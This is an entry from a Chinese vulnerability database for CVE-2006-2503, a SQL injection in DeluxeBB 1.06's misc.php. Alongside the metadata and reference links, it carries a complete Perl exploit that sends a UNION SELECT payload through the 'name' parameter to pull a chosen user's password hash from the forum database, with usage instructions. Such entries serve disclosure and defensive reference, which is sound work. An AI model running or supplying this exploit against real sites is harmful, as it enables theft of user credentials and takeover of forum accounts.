DeluxeBB misc.php SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1110283 漏洞类型 SQL注入
发布时间 2006-05-15 更新时间 2006-05-22
CVE编号 CVE-2006-2503 CNNVD-ID CNNVD-200605-403
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1793
https://cxsecurity.com/issue/WLB-2006050129
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200605-403
|漏洞详情
DeluxeBB1.06的misc.php中存在SQL注入漏洞,远程攻击者可以通过name参数执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl

use IO::Socket;


print q{
#############################################
# DeluxeBB 1.06 Remote SQL Injection Exploit#
# 	exploit discovered and coded        #
#	   by KingOfSka                     #
#	http://contropotere.netsons.org	    #
#############################################
};

if (!$ARGV[2]) {

print q{ 
	Usage: perl dbbxpl.pl host /directory/ victim_userid 
  
       perl dbbxpl.pl www.somesite.com /forum/ 1


};

}


$server = $ARGV[0];
$dir    = $ARGV[1];
$user   = $ARGV[2];
$myuser = $ARGV[3];
$mypass = $ARGV[4];
$myid   = $ARGV[5];

print "------------------------------------------------------------------------------------------------\r\n";
print "[>] SERVER: $server\r\n";
print "[>]    DIR: $dir\r\n";
print "[>] USERID: $user\r\n";
print "------------------------------------------------------------------------------------------------\r\n\r\n";

$server =~ s/(http:\/\/)//eg;

$path  = $dir;
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid='".$user ;

 
print "[~] PREPARE TO CONNECT...\r\n";

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";

print "[+] CONNECTED\r\n";
print "[~] SENDING QUERY...\r\n";
print $socket "GET $path HTTP/1.1\r\n";
print $socket "Host: $server\r\n";
print $socket "Accept: */*\r\n";
print $socket "Connection: close\r\n\r\n";
print "[+] DONE!\r\n\r\n";



print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";
while ($answer = <$socket>)
{

 if ($answer =~/(\w{32})/)
{

  if ($1 ne 0) {
   print "Password Hash is: ".$1."\r\n";
print "--------------------------------------------------------------------------------------\r\n";

      }
exit();
}

}
print "------------------------------------------------------------------------------------------------\r\n";

# milw0rm.com [2006-05-15]
|参考资料

来源:XF
名称:deluxebb-misc-sql-injection(26469)
链接:http://xforce.iss.net/xforce/xfdb/26469
来源:BID
名称:17989
链接:http://www.securityfocus.com/bid/17989
来源:BUGTRAQ
名称:20060515DeluxeBB1.06RemoteSQLInjectionExploit
链接:http://www.securityfocus.com/archive/1/archive/1/434040/100/0/threaded
来源:OSVDB
名称:25529
链接:http://www.osvdb.org/25529
来源:VUPEN
名称:ADV-2006-1823
链接:http://www.frsirt.com/english/advisories/2006/1823
来源:SECUNIA
名称:20104
链接:http://secunia.com/advisories/20104
来源:SREASON
名称:935
链接:http://securityreason.com/securityalert/935